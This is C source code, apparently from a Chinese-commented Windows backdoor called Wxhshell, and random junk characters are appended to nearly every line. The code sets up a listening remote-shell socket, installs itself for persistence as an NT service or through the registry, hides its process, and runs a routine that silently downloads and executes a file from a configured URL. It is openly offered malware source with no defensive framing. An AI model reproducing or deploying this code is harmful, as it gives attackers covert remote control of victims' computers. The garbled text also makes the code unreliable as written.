KO#$OJE
ULONG InheritedFromUniqueProcessId; iH& Izv
} PROCESS_BASIC_INFORMATION; FbB>
Md;
=`5Xx(
PROCNTQSIP NtQueryInformationProcess; }2Y:#{m
hKw4 [wB]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X>w(^L*>
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &?mH[rG"
.__X-+^
HANDLE hProcess; jX^uNmb
PROCESS_BASIC_INFORMATION pbi;
'AN3{
xzg81sV7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u8pJjn;
if(NULL == hInst ) return 0; \2#>@6Sqrl
l~,5)*T
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T:aYv;#0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fu3/ n@L
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [*U6L<JI
B1>aR 7dsf
if (!NtQueryInformationProcess) return 0; G(F}o]
NF <|3|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1BK-uv:
if(!hProcess) return 0; 12;"=9e!
i-)OY,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <zE,T@c
'#REbY5ev
CloseHandle(hProcess); e&zZr]vs]l
tW;1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k3::5&
if(hProcess==NULL) return 0; ~a KxwH
:@zz5MB5@
HMODULE hMod; A{mv[x-XN
char procName[255]; 5y;texsj[
unsigned long cbNeeded; a#t:+iw
s(W]>Ib
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t<5$85Y~
uc]]zI6
CloseHandle(hProcess); n}cjVH5
n46H7e(ej\
if(strstr(procName,"services")) return 1; // 以服务启动 $s-/![
6
T9.3
return 0; // 注册表启动 -J8&!S8 X
} zil^^wT0J
o.IJ4'}aN
// 主模块 &@CcH_d*
int StartWxhshell(LPSTR lpCmdLine) EYNi`
{ k@MAi*
SOCKET wsl; $'#hCs
BOOL val=TRUE; M:6Yy@#T.
int port=0; !5lb+%7
struct sockaddr_in door; T.\=R
W8{g<.
/
if(wscfg.ws_autoins) Install(); k I
qKu/~0a/
port=atoi(lpCmdLine); Q!7il<S
RV^
N4q4
if(port<=0) port=wscfg.ws_port; lezX-5Z
?`ETlFtD4
WSADATA data; .!|\Y!]^r
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gf` `0F)
aQzDOeTi
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; SB"Uu2)wZ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \\w<.\Yh
door.sin_family = AF_INET;
XdS&s}J[I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8NCu;s
door.sin_port = htons(port); g
i>`
%l{0z<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L\;n[,.
closesocket(wsl); ;ED` 7
return 1; o@T-kAEf-.
} "u29| OY
hb@,fgo!Q
if(listen(wsl,2) == INVALID_SOCKET) { O^/z7,
closesocket(wsl); L>xecep
return 1; vH14%&OcN
} $W} YXLFj?
Wxhshell(wsl); E~]37!,\\9
WSACleanup(); -d'swx2aZ!
/:S&1'=
return 0; N{kp^Byim0
BOc2<M/\
} \3K%>
ULT,>S6r
// 以NT服务方式启动 /[V}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N$&)gI:
{ mCb1^Y
DWORD status = 0; /Py1Q
DWORD specificError = 0xfffffff; PvHX#wJ
{pJf~
serviceStatus.dwServiceType = SERVICE_WIN32; cmcR@zv
serviceStatus.dwCurrentState = SERVICE_START_PENDING; a+!r5689
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OV>JmYe1{/
serviceStatus.dwWin32ExitCode = 0; 1@}s:
serviceStatus.dwServiceSpecificExitCode = 0; `J
l/@bE=
serviceStatus.dwCheckPoint = 0; I9VU,8~
serviceStatus.dwWaitHint = 0; NQ3EjARZt
W]B75
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h85kQ^%
if (hServiceStatusHandle==0) return; ,#V}qSKUS
UI]UxEJ
status = GetLastError(); %M7EOa
if (status!=NO_ERROR) q+ZN$4 m
{ bI?uV;m>
serviceStatus.dwCurrentState = SERVICE_STOPPED; "h\ (a<
serviceStatus.dwCheckPoint = 0; 'nQQqx%v
serviceStatus.dwWaitHint = 0; fVvB8[(;~
serviceStatus.dwWin32ExitCode = status; H$M{thW
serviceStatus.dwServiceSpecificExitCode = specificError; 07
E9[U[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bnzIDsw!Q
return; =zsA@UM0
} 0wE)1w<C~
96#aGh>
serviceStatus.dwCurrentState = SERVICE_RUNNING; nhImO@Q:
serviceStatus.dwCheckPoint = 0; &P:2`\'
serviceStatus.dwWaitHint = 0; )RCva3Ul
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '_fj:dy
} g3*J3I-O
P9f,zM-
// 处理NT服务事件,比如:启动、停止 7*>(C*q=
VOID WINAPI NTServiceHandler(DWORD fdwControl) *|*6q/
{ qe_qag9
switch(fdwControl) jccSjGX@w
{ N@x5h8
case SERVICE_CONTROL_STOP: /cC4K\M
serviceStatus.dwWin32ExitCode = 0; :8LK}TY7
serviceStatus.dwCurrentState = SERVICE_STOPPED; g^)8a;/c
serviceStatus.dwCheckPoint = 0; *-,jIaL;
serviceStatus.dwWaitHint = 0; _xu_W;nh
{ bH`r=@.:cu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \J-}Dp\0b
} 8S#TOeQ
return; c 4
bo
case SERVICE_CONTROL_PAUSE: shuoEeoo
serviceStatus.dwCurrentState = SERVICE_PAUSED; #-7m@EU;O
break; >k9W+mk
case SERVICE_CONTROL_CONTINUE: g$T%
C?
serviceStatus.dwCurrentState = SERVICE_RUNNING; j}aU*p~N
break; m
?#WQf
case SERVICE_CONTROL_INTERROGATE: #v\o@ArX
break; W{X5~w(
}; 9?I?;l{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YDjjhe+
} $TY1'#1U;
JWVn@)s
// 标准应用程序主函数 I*EHZctH
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hwi$:[
{ Q=?YY-*$
n _eN|m?@
// 获取操作系统版本 A&UGr971
OsIsNt=GetOsVer(); v<:/u(i
GetModuleFileName(NULL,ExeFile,MAX_PATH); WKB
K)=
W0\
n?$ZC~
// 从命令行安装 ?X nKKw\
if(strpbrk(lpCmdLine,"iI")) Install(); -`ss7j&b3
PNRZUZ4Z|
// 下载执行文件 V]6CHE:BS
if(wscfg.ws_downexe) { h:Hpz
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v@Bk)Z
WinExec(wscfg.ws_filenam,SW_HIDE); :89AYqT"
} c3!YA"5
UhbGU G
if(!OsIsNt) { ;G4g;YHy|
// 如果时win9x,隐藏进程并且设置为注册表启动 y1t,i.
[
HideProc(); GEJy?$9
StartWxhshell(lpCmdLine); m98w0D@Ee
} k[8{N
else OYj~"-3y)
if(StartFromService()) I`S?2i2H
// 以服务方式启动 Y~P*
!g
StartServiceCtrlDispatcher(DispatchTable); 3)_(t.$D
else w3K>IDWI7
// 普通方式启动 qU+qY2S:
StartWxhshell(lpCmdLine); C~c|};&%
n7iIY4gZ
return 0; \PM5B"MDZ
} p#>d1R1&
EzGO/uZ]
#iAw/a0&
UsnIx54D3
=========================================== m?`?T
Qkx}A7sK
UUDZ
+W^$my)<
L
/V;;
a4x(lx&
" Cd'K~Ch3
lzK,VZ=mM
#include <stdio.h> %Z{ 7*jtE
#include <string.h> 3R`eddenF
#include <windows.h>
(i>bGmiN
#include <winsock2.h> ~zyD=jxP9
#include <winsvc.h> K%3{a=1
#include <urlmon.h> Tu7sA.73k
}<mK79m
#pragma comment (lib, "Ws2_32.lib") 9y`Vg
#pragma comment (lib, "urlmon.lib") Oi,:q&
C~8;2/F7
#define MAX_USER 100 // 最大客户端连接数 =O'>H](Q
#define BUF_SOCK 200 // sock buffer qExmf%q:q
#define KEY_BUFF 255 // 输入 buffer 1D2Yued
eWU@@$9
#define REBOOT 0 // 重启 {O (@}
#define SHUTDOWN 1 // 关机 SEsLJ?Dv0
k8O%gO
#define DEF_PORT 5000 // 监听端口 T56%3i
:y3e-lr
#define REG_LEN 16 // 注册表键长度 Cbjx{
#define SVC_LEN 80 // NT服务名长度 %TS8 9/
EbMG9
// 从dll定义API T5? eb"
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~v^I*/uY
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6/l{e)rX2o
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n}toUqUnk\
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
&b!|Y
^^{7`X
u
// wxhshell配置信息 DY?;Z98P?
struct WSCFG { ZFa<{J<2
int ws_port; // 监听端口 :Kx6|83
char ws_passstr[REG_LEN]; // 口令 XS`=8FQ
int ws_autoins; // 安装标记, 1=yes 0=no
a@niig
char ws_regname[REG_LEN]; // 注册表键名 Fv2U@n6'v
char ws_svcname[REG_LEN]; // 服务名 CT#u+]T
char ws_svcdisp[SVC_LEN]; // 服务显示名 \p{$9e;8yT
char ws_svcdesc[SVC_LEN]; // 服务描述信息 1^^9'/
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6[SE*/E@L
int ws_downexe; // 下载执行标记, 1=yes 0=no ,'^^OLez
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J>%uak<
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3W.5[;}
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}; Z9k"&F~u}
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// default Wxhshell configuration x&